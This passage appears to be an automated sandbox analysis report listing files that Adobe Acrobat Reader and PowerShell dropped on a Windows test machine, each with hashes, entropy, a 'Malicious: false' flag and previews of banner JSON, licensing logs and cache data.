Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291127035420329
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfYdPeUkwRe9:YvXKXktUclcjVGg8Ukee9
MD5:	4E72F60C03354AE66E7765EA29FEDFD7
SHA1:	BD7A8046E95557F65CECBCCF376D919251EC75C5
SHA-256:	85737CB0A8D90F54CA2CA194D006B7A8BDDD6FB6B94FF2A4EA98153F64A9D346
SHA-512:	A968931DAC55AAE8A5624F47F3C107FEBEC312995A7991AE8E662662977702C6A9192F0DD9F36FA0DE8B50450BD6E706BDCA19FB2434487C359380C8EA4F175C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2778700350677274
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJf+dPeUkwRe9:YvXKXktUclcjVG28Ukee9
MD5:	730A8B5B09AE09C0B63E2DFE450F2B91
SHA1:	9B12EDDCD37F168E31F2AE568B6F7ABBC03172DD
SHA-256:	EC8F0A2495067ED018DF4798C3C76676D130845D3C7ADF9E2F3E80551F91397D
SHA-512:	65F089E662EDA8CEA05801413DE001B480A643C7F11B9B6C02CDD590776529ED78E313A6A313ABE343233B582AF5445877C18D98FD82C730F69035C883185F5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274735115668624
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfbPtdPeUkwRe9:YvXKXktUclcjVGDV8Ukee9
MD5:	1E2A219C85B8F69BCC5FADD37AF6806C
SHA1:	6CAA6F55F318C70CEC98C5355AF1137B934FB95E
SHA-256:	1297684072664675A5C6A1A20A4E4B3FA21CD14690900F04E71874EB26A90690
SHA-512:	B3A31B1190BA0E79CD3793D2ECAC608CC6E2492CBEBC8D0A3F419DD3981223C33BD88C1C765674735D51B64187247AF5A99EB4EC8C6A69C8D8A55E12EB9F0FF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277679240290895
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJf21rPeUkwRe9:YvXKXktUclcjVG+16Ukee9
MD5:	B5A318F58985D04F8087F259AEF9C2CE
SHA1:	31663BDFA6EEED40616E37DEF512FBEDC8660699
SHA-256:	677EA3296FB7804E817B7F0EC952BD725E6D19A36BCD7961FD64642A0CE474AE
SHA-512:	899851D83EA559CAC27CE8913A45DBEFB655C27C3B2233953F5F2CD105987A0556B5227C638DFEF2751CECD383D8F5396A016A52357C99879454C34E8992E071
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667226468314742
Encrypted:	false
SSDEEP:	24:Yv6XUlciamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:Yvx1BgkDMUJUAh8cvMV
MD5:	B98B26B118413536293F0D808C3141DD
SHA1:	1F3ED383C0618FF70F567EC04289C54BFEE15C8C
SHA-256:	B4B1FDB78093C56979E1DB0D6F3D112E08FCAA4DE536F5148128F9267EF47E54
SHA-512:	B8AD94208F38352FD574BD890344F66506A114EE68D05AD444DBE1EE09326E43A5424C8571F1188B8E4B7FD9A3F11AA21229A995A1832965CC93678D7835CB5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2564355770932085
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfshHHrPeUkwRe9:YvXKXktUclcjVGUUUkee9
MD5:	CCDF5210EF871F1F5CD4DBA195A3224C
SHA1:	8AD8C62C5DEEE8C638909C287C85F92452005537
SHA-256:	1F0D665F91AC5EEC5CB8519554ED6D813DD4F674883EC52B3D9E9EC6E83149CF
SHA-512:	ECBDF0395B6DC1C23D6DA5AF17B850D3E1BF49DBC2DFA340891C56F702B764D79CE668036B095768D9B5A4E3ED347DE3EFC1D3C6FF95AAF8FE4E390E0F9D08BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.26407777881074
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJTqgFCrPeUkwRe9:YvXKXktUclcjVGTq16Ukee9
MD5:	2E51BA321D557B5DBE6559D119B04B65
SHA1:	367C1657200212CBCF38DE483A7F8887431CFDA1
SHA-256:	9C0568C25990E98D01260F7A1BE953BBB179939CBFFE57F1BA5203C822189AD7
SHA-512:	F60388F85F06E27C563FE3B0DD6DF606B56D3549ACDD618A52322B119D6B21BCDE3870596470F81F79F47DE193C98063A0C7788C457F6B0B55CC3CC0AD6D33B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139836543322155
Encrypted:	false
SSDEEP:	48:YXPqeWLM7nc3fnblovdp72brBi+N8wJP8n9idta2k2ha9aDIP:SSe/nc3fnblovdh6rBi+N8C0n9idAyox
MD5:	FC3CAC49598E0B3310B70F4351993359
SHA1:	08722A7DD6A7DD5555373241C1B10460A17A8C4F
SHA-256:	3F3CA29DBD5B3DCFF46B2D5143619277E190497D2F09FC1F3DE0F30786662D6C
SHA-512:	0F80B4EAC378983D10E3133196F4F0E5B89F0306B105F8C7C85637E0C59511163F021FFC8393B3E36429F83F9C0B3BB68228FB5FDC5B1EFD3AE1CEE2F7D819AB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7ebac8170ebf3c6a1c285a524fecfbcc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569127000},{"id":"Edit_InApp_Aug2020","info":{"dg":"39d1851021b4f6415b06b85fa6059fe2","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":282,"ts":1736569127000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"694397ebfd50cea854efea6ee40626d8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569127000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ab581d484eb98a632d6729c2bcf784f3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569127000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"74659f0164ef265419d07100d4188fc7","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569127000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"87de3772ae1d261f3f21d88c39d6deea","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1462475030120767
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursg/RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc5:TFl2GL7mskXc+XcGNFlRYIX2v3kZ
MD5:	C80A110CA291E4EC206886A6A5FFFD7E
SHA1:	105EBDB56D2D7CFAB44D0DC192557A4D4C0C3615
SHA-256:	2994D14D74EC46567554ECAEE79652DEEA4A4B0D18A1BE09082E651491B3EE2D
SHA-512:	1EDB8BED99865CFAD27CD54E42EA3A19743150EF42610EDC223DB8C86EE1C05E2F3A058DE9712D6E9EC1557096D390D17655341018B19319A944061351C549C4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5534478883807883
Encrypted:	false
SSDEEP:	24:7+tWI/UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxeuqLxx/X1:7M2Xc+XcGNFlRYIX2vJuqVl2GL7msz
MD5:	CA0C3EB68548933316520D0DAE72597E
SHA1:	6B9532423F05FB37EF53BBCF7E6395554DF63022
SHA-256:	D8E080C83E185ADFFC60EC7D5E55E8ABE17F9C2BD6D60DD2C9B44E35905A8DCB
SHA-512:	D8514C8D6FA081C6B0797242CB0AE53F83A63C9CFA0C339BB994A134943EE4C9AA4AD875EE4B312DD4D69FD67D38103D717E66CFADA85A2D3011D54538C18F00
Malicious:	false
Preview:	.... .c........x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8MBJfkvT7CZPIiR2wTTc1uF1X+LaYyu:6a6TZ44ADERDfiWPI82wOuyLaK
MD5:	46AAC5EE824BEF505F1E23B802A2C52C
SHA1:	D55158ACBEE0A951550FAB384A155107D5936E45
SHA-256:	6ADC9D29784FE105A505CF42D9C3279C33F6B5785DD95C630A9957481232EDBE
SHA-512:	45CAACBDD732DFB26FFFF0DF10AA189F4B5956838C8A3812937EDFB3D58CE2397356BF715ED7E04D260B2C4B146B5A664BAAC904185406813FD84183848FF2B2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI2fdf6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClkw:Qw946cPbiOxDlbYnuRK+bk
MD5:	880E851C49D495CCB322288F49804613
SHA1:	49EA085C4BF57BAE8FE93E6F1270D7F4E079A92F
SHA-256:	E7CE25B25B6003DFA4C8B5A6862A42F5F6FD1BF086880020375CFB3038975FC1
SHA-512:	56386CC50303821D960276F4ED07A0331D88CC9DB9F1401C8C30C663D7F15F1AF5E917166628E3EC333C009EEB27161DF392D4AFF91B92775712EAED6255360E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.8.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eubyqutq.g24.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ypul0ug1.ri4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-18-41-343.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3384451178009815
Encrypted:	false
SSDEEP:	384:p7FS9jwllIdEHBu/asg1havpaMTuVaasbE0Gg4WXTb68eF5cuv6OmbmbeFnJqZRh:nsI
MD5:	8B3A425DD18AE71324A310A17855A6CB
SHA1:	E96A41F45D19DDDE55E3D1F30926DFAC783F17CE
SHA-256:	CE66DC16BA72A61F3F3AA08B804CB765ADFA16D12561A65080BF284CA605A8A9
SHA-512:	5DB66073655549F8ECD3C5D8D130B652DB7068489B1B94CC2B031702A50FE698DA2F55BFF96D5691923B5637043E63D17F368BA367A999A796F6736C752A23C2
Malicious:	false
Preview:	SessionID=72046130-c913-495a-8c46-ee12fa95a6a5.1736569121354 Timestamp=2025-01-10T23:18:41:354-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=72046130-c913-495a-8c46-ee12fa95a6a5.1736569121354 Timestamp=2025-01-10T23:18:41:355-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=72046130-c913-495a-8c46-ee12fa95a6a5.1736569121354 Timestamp=2025-01-10T23:18:41:355-0500 ThreadID=7652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=72046130-c913-495a-8c46-ee12fa95a6a5.1736569121354 Timestamp=2025-01-10T23:18:41:355-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=72046130-c913-495a-8c46-ee12fa95a6a5.1736569121354 Timestamp=2025-01-10T23:18:41:355-0500 ThreadID=7652 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398328818075175
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbFCcbkIb9cbt:V3fOCIdJDezpbG
MD5:	635375024390F432FD234F02884CE13F
SHA1:	DE5F4CBEECD68C712D9F6A2B6ADCBA7BBB242BDD
SHA-256:	C6C797B1E59A0F8B6A5F7251A9B0DF880620EF775BC3C07AF0234A258E201D8A
SHA-512:	05E080C1FAC407C7A411F8F161FAB56709FA58BDA8BC890EFC0EEC544C547CA6B94D61C16948ABDA05A8484D24581512BACB81F16210F18677C842C9634526A6
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\26dff9fa-6ae5-4361-ae37-4c35c226d010.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:tRaWLxXGZ4ZGu3mlind9i4ufFXpAXkrj
MD5:	9606E6A68AACA9A2C4C195A1811D29DB
SHA1:	F3E7DB07B3C70708C9E9C15718D3A3970DA877F1
SHA-256:	8BD601F471A994EA2CCA65267C13D639E5BCABBA64197722B658E63E8AEED1BB
SHA-512:	44D8D170494BAE4635EE114F6BBC2AF6ABFA0012A18279B621CE005F3F9AB9F0F0FA755DBD2B86C3B2CDF26ABD0B3676FBBF402CD19D434AFFCB36087257F2B6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5f37d5a8-dd90-4cb5-9854-5eb22f99a97c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
